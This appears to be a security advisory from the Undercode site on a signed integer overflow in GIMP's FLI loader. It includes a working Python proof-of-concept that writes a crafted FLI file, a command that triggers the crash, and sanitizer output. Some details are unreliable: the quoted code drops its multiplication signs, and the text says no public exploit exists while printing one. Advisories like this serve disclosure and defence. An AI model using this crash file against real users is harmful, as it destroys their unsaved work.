Listen to this Post
A signed integer overflow vulnerability exists in GIMP’s `file-fli` plugin when processing FLI image files. The flaw resides in the memory allocation routine for image buffers, specifically in the `fli-gimp.c` file at lines 545 and 805.
The core issue lies in the multiplication of image width and height values (fli_header.width and fli_header.height), which are defined as `gushort` (unsigned 16-bit integers). During the multiplication operation fli_header.width fli_header.height, C’s integer promotion rules implicitly cast both operands to a signed `int` before performing the arithmetic. When an attacker crafts an FLI file with both width and height set to the maximum value of 65,535, the product becomes 4,294,836,225. This value far exceeds the maximum limit of a signed 32-bit integer (INT_MAX = 2,147,483,647), triggering a signed integer overflow—which constitutes undefined behavior in the C standard.
This overflow occurs during the calculation of memory allocation sizes passed to g_malloc():
fb = g_malloc (fli_header.width fli_header.height); ofb = g_malloc (fli_header.width fli_header.height);
When the overflow occurs, the computed size becomes a negative or otherwise unexpected value, leading to improper memory allocation. The GNU Undefined Behavior Sanitizer (UBSan) detects this overflow and aborts the plugin execution. This results in a complete crash of the `file-fli` plugin, and consequently, the GIMP application itself terminates, causing a denial of service for the user. The attack vector requires user interaction—an attacker must trick a victim into opening a maliciously crafted FLI file. No authentication or special privileges are needed to trigger the vulnerability once the file is opened.
DailyCVE Form:
Platform: GIMP / RHEL
Version: 3.2.4
Vulnerability: Signed Integer Overflow
Severity: Medium (CVSS 5.5)
Date: August 10, 2026
Prediction: Patch expected Q4 2026
What Undercode Say:
Check GIMP version
gimp --version
Identify the vulnerable plugin
ls -la /usr/lib/gimp//plug-ins/file-fli
Verify vulnerable code location (source build only)
grep -n "g_malloc (fli_header.width" plug-ins/file-fli/fli-gimp.c
Test with a minimal PoC file (144 bytes)
python3 -c "
import struct
hdr = bytearray(128)
struct.pack_into('<I', hdr, 0, 256)
struct.pack_into('<H', hdr, 4, 0xAF11)
struct.pack_into('<H', hdr, 6, 1)
struct.pack_into('<H', hdr, 8, 0xFFFF) width = 65535
struct.pack_into('<H', hdr, 10, 0xFFFF) height = 65535
struct.pack_into('<H', hdr, 12, 8)
struct.pack_into('<I', hdr, 16, 70)
frame = bytearray(16)
struct.pack_into('<I', frame, 0, 16)
struct.pack_into('<H', frame, 4, 0xF1FA)
open('poc_fli.fli', 'wb').write(bytes(hdr) + bytes(frame))
"
Trigger the crash (UBSan-instrumented build)
gimp-console-3.2 --no-interface --no-data --no-fonts poc_fli.fli
Observed UBSan Output:
../plug-ins/file-fli/fli-gimp.c:545:36: runtime error: signed integer overflow: 65535 65535 cannot be represented in type 'int' 0 load_image ../plug-ins/file-fli/fli-gimp.c:545 1 fli_load ../plug-ins/file-fli/fli-gimp.c:327 GIMP-Error: Plug-in crashed: "file-fli" GIMP-Error: Opening '/poc/poc_fli.fli' failed: Procedure 'file-fli-load' returned no return values
Exploit: (Educational Purposes!)
The vulnerability is triggered by providing an FLI file with width and height both set to `0xFFFF` (65,535). This causes the multiplication `65535 × 65535` to overflow the signed `int` type, resulting in undefined behavior and a plugin crash. The exploit requires no special privileges and can be delivered via any means that tricks a user into opening the malicious file. No public exploit code is currently available, and the attack complexity is considered low.
Protection:
– Avoid opening FLI image files from untrusted or unknown sources.
– Disable the `file-fli` plugin entirely if FLI support is not required.
– Run GIMP within a sandboxed environment to isolate the application from the rest of the system.
– Apply vendor patches and updates to the GIMP package on Red Hat Enterprise Linux as soon as they are released.
– Monitor Red Hat Security Advisories (RHSA) for official fix availability.
Impact:
Successful exploitation leads to an immediate crash of the GIMP application, resulting in a denial of service for the end user. The vulnerability does not compromise confidentiality or integrity of data—only availability is affected. The CVSS v3.1 base score is 5.5 (Medium), with an attack vector of LOCAL, low attack complexity, no privileges required, and required user interaction. The vulnerability affects GIMP packages distributed with Red Hat Enterprise Linux 6 through 9. While the EPSS probability is low (0.16%, 6th percentile), the vulnerability can disrupt user workflows and cause data loss if unsaved work is present at the time of the crash.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
